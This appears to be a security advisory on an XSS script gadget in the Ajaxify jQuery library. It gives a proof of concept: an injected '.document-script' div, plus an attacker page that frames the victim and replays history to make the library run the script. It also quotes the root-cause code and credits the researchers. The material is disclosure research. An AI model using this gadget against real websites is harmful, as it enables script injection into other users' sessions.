Ajaxify your entire website instantly with this simple drop-in script using the HTML5 History API with History.js and jQuery ScrollTo.
The Ajaxify library converts all document-script
elements to a <script>
elements.
<!-- victim website -->
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-scrollTo/2.1.3/jquery.scrollTo.min.js"></script>
<script src="https://browserstate.github.io/history.js/scripts/bundled/html4+html5/jquery.history.js"></script>
<script src="https://rawgithub.com/browserstate/ajaxify/master/ajaxify-html5.js"></script>
</head>
<body>
<!-- user input -->
<div id="content">
<div class="document-script">alert(1)</div>
</div>
</body>
</html>
<!-- attacker website -->
<iframe src="http://victim/"></iframe>
<script>
var frame = document.querySelector("iframe");
var url = frame.src;
setTimeout(function() { frame.src = frame.src + "#foo" }, 1000);
setTimeout(function() { frame.src = frame.src.substring(0, frame.src.length -4) }, 2000);
setTimeout(function() { history.back() }, 3000);
setTimeout(function() { history.back() }, 4000);
</script>
Root Cause
$scripts = $dataContent.find('.document-script');
if ( $scripts.length ) {
$scripts.detach();
}
// [...]
$scripts.each(function(){
var $script = $(this), scriptText = $script.text(), scriptNode = document.createElement('script');
if ( $script.attr('src') ) {
if ( !$script[0].async ) { scriptNode.async = false; }
scriptNode.src = $script.attr('src');
}
scriptNode.appendChild(document.createTextNode(scriptText));
contentNode.appendChild(scriptNode);
});
Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.